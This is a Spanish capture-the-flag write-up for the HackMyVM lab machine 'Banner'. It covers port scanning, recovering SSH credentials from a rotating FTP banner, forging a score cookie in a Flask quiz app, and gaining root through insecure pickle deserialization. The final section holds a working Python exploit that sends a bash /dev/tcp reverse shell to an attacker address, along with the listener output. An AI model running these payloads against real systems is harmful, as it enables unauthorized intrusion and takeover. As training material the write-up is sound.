cd ~/blog

~/writeups/hmv/150-banner.md

150 - Banner

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Exposición de credenciales en banner FTP rotativoCookie Tampering sin control de integridadInsecure Deserialization de Pickle con RCEServicio Flask ejecutado como root Privesc
hackmyvm.eu/machines/machine.php?vm=Banner

~6 min de lectura


Reconocimiento

Comenzamos identificando la dirección IP de la máquina víctima dentro de la red local:

❯ arp-scan --interface=wlo1 --localnet | grep PCS
192.168.3.29	08:00:27:b9:94:6c	PCS Systemtechnik GmbH

La dirección MAC corresponde a una interfaz de VirtualBox, por lo que fijamos 192.168.3.29 como objetivo.

Enumeración de servicios

Lanzamos un escaneo SYN sobre los 65 535 puertos TCP. -n evita la resolución DNS, -Pn omite el descubrimiento previo mediante ping y --min-rate 5000 acelera el barrido dentro del laboratorio:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.3.29
[sudo] password for wh01s17:
Starting Nmap 7.991 ( https://nmap.org ) at 2026-10-07 23:43 -0300
Nmap scan report for 192.168.3.29
Host is up (0.000090s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
8080/tcp open  http-proxy
MAC Address: 08:00:27:B9:94:6C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds

Encontramos FTP, SSH y un servicio web en el puerto 8080. Realizamos un segundo escaneo sobre esos puertos con los scripts predeterminados de Nmap (-sC) y detección de versiones (-sV):

❯ nmap -sCV -Pn -p 21,22,8080 -oN 02-targeted.txt 192.168.3.29
Starting Nmap 7.991 ( https://nmap.org ) at 2026-10-07 23:44 -0300
Nmap scan report for 192.168.3.29
Host is up (0.00022s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
8080/tcp open  http    Werkzeug httpd 3.1.6 (Python 3.9.2)
|_http-title: \xE7\xBD\x91\xE7\xBB\x9C\xE5\xAE\x89\xE5\x85\xA8\xE7\x9F\xA5\xE8\xAF\x86\xE6\x8C\x91\xE6\x88\x98
|_http-server-header: Werkzeug/3.1.6 Python/3.9.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.20 seconds

El puerto 8080 sirve directamente una aplicación Python mediante Werkzeug. Antes de analizarla, investigamos la pista más explícita: el banner del servicio FTP.

Intentamos iniciar sesión mediante la cuenta anónima. La autenticación falla, pero el servidor muestra un dibujo acompañado de una instrucción:

❯ ftp 192.168.3.29
Connected to 192.168.3.29.
220-Snakes             Eat                   Crickets
220-      / _ )`.
220-     /  _ )^ )`.  .----.
220-    ( _, ' \ ^-)"''     \ \
220-          | |           | | \
220-          | |           | |  |
220-         /  \ /----' \  ( \  (
220-        <  ,"||      \  \ \  \
220-         \\\\ (      ) ) ) ) )
220-          || \      | | / /
220-          ||  \     | |-'
220-              |     |
220-
220-	     |     |
220-
220-
220-Carefully observe the changes in the information above.
220
Name (192.168.3.29:wh01s17): anonymous
530 Permission denied.
ftp: Login failed.

La frase indica que debemos observar los cambios. Esperamos un minuto y abrimos una segunda conexión FTP. Esta vez la primera línea muestra un texto diferente:

❯ ftp 192.168.3.29
Connected to 192.168.3.29.
220-Wild               Elephants               Love
220-      / _ )`.
220-     /  _ )^ )`.  .----.
220-    ( _, ' \ ^-)"''     \ \
220-          | |           | | \
220-          | |           | |  |
220-         /  \ /----' \  ( \  (
220-        <  ,"||      \  \ \  \
220-         \\\\ (      ) ) ) ) )
220-          || \      | | / /
220-          ||  \     | |-'
220-              |     |
220-
220-	     |     |
220-
220-
220-Carefully observe the changes in the information above.
220
Name (192.168.3.29:wh01s17):

En conexiones posteriores observamos otras dos variaciones:

220-Clever             Owls                    Make
220-Elephants          :                       Mice

Las capturas confirman que la primera línea del banner cambia cada minuto. Para reunir todas las muestras sin tener que abrir cada sesión a mano, automatizamos el proceso.

Script banner.sh

#!/usr/bin/env bash

ip="${1:-192.168.3.29}"
msg=""
: > ftp_messages.txt
: > ftp_words.txt

for i in {1..5}; do
    banner=$({ sleep 1; printf 'QUIT\r\n'; } | timeout 8 nc "$ip" 21 2>/dev/null |
        perl -pe 's/\e\[[0-?]*[ -\/]*[@-~]//g; s/\r//g' | sed -n '1p')
    [[ $banner ]] || { echo "Sin respuesta del servidor"; exit 1; }

    read -ra words <<< "${banner#220-}"
    text="${words[*]}"
    part=""

    for word in "${words[@]}"; do
        part+=${word:0:1}
        [[ $word == : ]] || printf '%s\n' "$word" >> ftp_words.txt
    done

    msg+=$part
    printf '%s - %s -> %s\n' "$(date +%T)" "$text" "$part" | tee -a ftp_messages.txt
    ((i < 5)) && sleep 60
done

sort -u -o ftp_words.txt ftp_words.txt
[[ $msg == *WEL* ]] && msg="WEL${msg#*WEL}${msg%%WEL*}"
printf 'Mensaje: %s\n' "$msg"

El script funciona en cinco fases:

  1. ip="${1:-192.168.3.29}" permite indicar la IP como primer argumento y utiliza la dirección del laboratorio por defecto. Los operadores : > archivo vacían los archivos de resultados antes de comenzar.
  2. En cada iteración, nc abre una conexión TCP al puerto 21. El bloque { sleep 1; printf 'QUIT\r\n'; } espera a que llegue el banner y después cierra correctamente la sesión FTP. timeout 8 evita que el proceso quede bloqueado si el host no responde.
  3. perl elimina posibles secuencias ANSI y retornos de carro; sed -n '1p' conserva únicamente la primera línea, que contiene las tres palabras variables. ${banner#220-} retira el código de respuesta FTP.
  4. read -ra words separa la línea en palabras. ${word:0:1} toma la primera letra de cada una y construye el fragmento. Las muestras completas se guardan en ftp_messages.txt, mientras que ftp_words.txt mantiene un vocabulario sin duplicados para facilitar el análisis.
  5. El bucle espera 60 segundos entre las cinco capturas. Como podemos comenzar en cualquier punto del ciclo, la última expresión rota la cadena para que empiece por WEL, que actúa como ancla del mensaje.

// renderizando diagrama…

Ejecutamos el script y obtenemos las cinco piezas del mensaje:

❯ ./banner.sh
00:49:22 - Clever Owls Make -> COM
00:50:23 - Elephants : Mice -> E:M
00:51:24 - Amazing Zebras Eat -> AZE
00:52:25 - Snakes Eat Crickets -> SEC
00:53:26 - Wild Elephants Love -> WEL
Mensaje: WELCOME:MAZESEC

Cada línea muestra la frase capturada y el fragmento construido con sus iniciales: COM, E:M, AZE, SEC y WEL. Como la captura comenzó en un punto intermedio del ciclo, el script rota la cadena para colocar WEL al principio y reconstruye WELCOME:MAZESEC.

El resultado tiene el formato usuario:contraseña, por lo que interpretamos las credenciales como welcome:mazesec.

Acceso inicial mediante SSH

Validamos las credenciales reconstruidas contra el servicio SSH:

❯ ssh welcome@192.168.3.29
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
welcome@192.168.3.29's password: mazesec
Linux Banner 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Apr  8 10:09:46 2026
welcome@Banner:~$

La autenticación funciona: obtenemos una sesión como welcome y recuperamos la flag de usuario.

Enumeración local

Recopilamos información del sistema, servicios en escucha, tareas programadas, capabilities, binarios SUID y contenido de /opt:

welcome@Banner:~$ whoami; uname -a; cat /etc/os-release
welcome
Linux Banner 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 GNU/Linux
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

welcome@Banner:~$ ss -tuln
Netid             State              Recv-Q             Send-Q                         Local Address:Port                          Peer Address:Port
udp               UNCONN             0                  0                                    0.0.0.0:68                                 0.0.0.0:*
tcp               LISTEN             0                  32                                   0.0.0.0:21                                 0.0.0.0:*
tcp               LISTEN             0                  128                                  0.0.0.0:22                                 0.0.0.0:*
tcp               LISTEN             0                  128                                  0.0.0.0:8080                               0.0.0.0:*
tcp               LISTEN             0                  128                                     [::]:22                                    [::]:*

welcome@Banner:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:b9:94:6c brd ff:ff:ff:ff:ff:ff
    inet 192.168.3.29/24 brd 192.168.3.255 scope global dynamic enp0s3
       valid_lft 1657sec preferred_lft 1657sec
    inet6 fd10:19be:42c7:18:a00:27ff:feb9:946c/64 scope global dynamic mngtmpaddr
       valid_lft forever preferred_lft forever
    inet6 2803:9810:32df:4718:a00:27ff:feb9:946c/64 scope global dynamic mngtmpaddr
       valid_lft 215sec preferred_lft 64sec
    inet6 fe80::a00:27ff:feb9:946c/64 scope link
       valid_lft forever preferred_lft forever
3: enp0s8: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 08:00:27:fc:6f:30 brd ff:ff:ff:ff:ff:ff

welcome@Banner:~$ ls -l /etc/passwd /etc/shadow /etc/sudoers
-rw-r--r-- 1 root root   1501 Mar 18  2026 /etc/passwd
-rw-r----- 1 root shadow 1097 Mar 18  2026 /etc/shadow
-r--r----- 1 root root    729 Mar 18  2026 /etc/sudoers

welcome@Banner:~$ cat /etc/crontab

# Unlike any other crontab, you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

welcome@Banner:~$ crontab -l
no crontab for welcome

welcome@Banner:~$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

welcome@Banner:~$ find / -perm -4000 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1

welcome@Banner:~$ ls -la /opt
total 12
drwxr-xr-x  3 root root 4096 Mar 17  2026 .
drwxr-xr-x 18 root root 4096 Mar 18  2025 ..
drwxr-xr-x  7 root root 4096 Mar 17  2026 ctf-game

No aparecen capabilities o binarios SUID personalizados que destaquen, pero /opt/ctf-game coincide con la aplicación Flask observada en el puerto 8080. Copiamos el proyecto a la máquina atacante para revisarlo con comodidad:

❯ scp -r welcome@192.168.3.29:/opt/ctf-game ./ctf-game

Análisis de la aplicación Flask

La aplicación consiste en un cuestionario de veinte preguntas. Cada respuesta correcta entrega diez puntos, por lo que la puntuación máxima obtenible de forma legítima es 200; sin embargo, el servidor exige alcanzar 1000 para entregar la flag. Al revisar main.py encontramos dos endpoints relevantes para resolver el reto.

/api/submit toma la puntuación desde la cookie user_score sin comprobar su integridad, mientras que /api/serialize decodifica el cuerpo de la petición desde Base64 y lo deserializa mediante pickle.loads(). El primer fallo permite obtener la flag de la aplicación y el segundo permite ejecutar comandos en el servidor.

El archivo deploy.sh completa la cadena de escalada: crea ctf-game.service con la directiva User=root. Por tanto, cualquier comando ejecutado a través de la deserialización heredará directamente los privilegios del usuario root.

El endpoint /api/submit obtiene la puntuación inicial directamente desde una cookie controlada por el cliente:

cookie_score = request.cookies.get('user_score', '0')
current_score = int(cookie_score)

...

if current_score >= 1000:
    flag = '111:banner'
    response.headers['X-Flag'] = flag

No existe una firma, una sesión del lado del servidor ni una comprobación contra la base de datos. Por tanto, basta con enviar user_score=1000 para satisfacer la condición. Primero comprobamos el fallo manualmente desde Burp Repeater: enviamos un POST a /api/submit, mantenemos el cuerpo JSON con la respuesta A para la pregunta 1 y modificamos la cabecera Cookie.

El servidor acepta la puntuación proporcionada por el cliente y suma los diez puntos correspondientes a la respuesta correcta, por lo que devuelve score: 1010. La respuesta también entrega la flag mediante la cookie flag y la cabecera X-Flag, ambas con el valor 111:banner.

Confirmada la manipulación desde Burp Suite, automatizamos la misma petición con un script en Python.

#!/usr/bin/env python3

import http.client

HOST = "192.168.3.29"
PORT = 8080

conn = http.client.HTTPConnection(HOST, PORT, timeout=5)

conn.request(
    "POST",
    "/api/submit",
    body=b'{"id":1,"answer":"A"}',
    headers={"Content-Type": "application/json", "Cookie": "user_score=1000"},
)

response = conn.getresponse()
print(response.getheader("X-Flag") or response.read().decode())
conn.close()

El script utiliza únicamente la biblioteca estándar de Python:

  1. HTTPConnection crea la conexión con el servicio Flask y aplica un tiempo máximo de espera de cinco segundos.
  2. conn.request() envía un POST a /api/submit. El cuerpo mantiene el formato JSON esperado por el endpoint; la parte decisiva es la cabecera Cookie, que establece user_score=1000.
  3. La respuesta se obtiene con getresponse(). Si el servidor incluye la flag en X-Flag, el script imprime esa cabecera; si no aparece, muestra el cuerpo para facilitar el diagnóstico.
  4. Finalmente, conn.close() cierra la conexión TCP.

El script reproduce la petición validada en Burp Suite y extrae directamente la cabecera X-Flag. Aunque utiliza la respuesta correcta A, el abuso depende de la cookie y no de conocer el cuestionario: cualquier solicitud que llegue a la comprobación con una puntuación igual o superior a 1000 activa la entrega de la flag.

❯ ./cookie_flag.py
111:banner

Esto resuelve el desafío de la aplicación, pero no proporciona una shell ni eleva nuestros privilegios en el sistema.

Escalada de privilegios mediante Pickle

El endpoint /api/serialize acepta el cuerpo bruto de una petición, lo decodifica desde Base64 y lo entrega directamente a pickle.loads():

data = request.get_data()
obj = pickle.loads(base64.b64decode(data))

Pickle no es un formato seguro para datos procedentes de usuarios. Al reconstruir un objeto puede importar y ejecutar callables indicados por su protocolo de reducción. Diseñamos un objeto cuyo método __reduce__() ordena ejecutar una reverse shell mediante os.system.

Antes de enviar el payload, abrimos el listener en la máquina atacante:

❯ ncat -nlvp 1234
Ncat: Version 7.991 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234

Script pickle_reverse_shell.py

#!/usr/bin/env python3

import base64
import http.client
import os
import pickle

TARGET = "192.168.3.29"
PORT = 8080
LHOST = "192.168.3.54"
LPORT = 1234

class Payload:
    def __reduce__(self):
        shell = f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'"
        return os.system, (shell,)

payload = base64.b64encode(pickle.dumps(Payload()))
conn = http.client.HTTPConnection(TARGET, PORT, timeout=5)
conn.request("POST", "/api/serialize", payload)
conn.close()
print(f"Payload enviado. Escucha con: nc -lvnp {LPORT}")

El comportamiento del exploit es el siguiente:

  1. Payload.__reduce__() devuelve la tupla (os.system, (shell,)). Esto indica a Pickle que, al reconstruir el objeto, debe invocar os.system(shell).
  2. La orden usa la funcionalidad /dev/tcp de Bash. bash -i crea una shell interactiva; >& /dev/tcp/192.168.3.54/1234 redirige la salida estándar y de error al atacante; 0>&1 conecta también la entrada estándar al mismo socket.
  3. pickle.dumps(Payload()) serializa la receta de reconstrucción. La orden todavía no se ejecuta en la máquina atacante: queda codificada dentro del objeto.
  4. base64.b64encode() adapta los bytes al formato que espera /api/serialize.
  5. El POST entrega el payload. En el servidor, base64.b64decode() recupera el Pickle y pickle.loads() aplica la receta, ejecutando la reverse shell.

// renderizando diagrama…

Ejecutamos el exploit:

❯ ./pickle_reverse_shell.py
Payload enviado. Escucha con: nc -lvnp 1234

El listener recibe la conexión procedente de la víctima:

❯ ncat -nlvp 1234
Ncat: Version 7.991 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.3.29:38596.
bash: cannot set terminal process group (403): Inappropriate ioctl for device
bash: no job control in this shell
root@Banner:/opt/ctf-game# id
uid=0(root) gid=0(root) groups=0(root)

La shell ya pertenece a root. Flask heredó directamente UID 0 debido a la configuración del servicio. Recuperamos la flag final y damos por completada la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados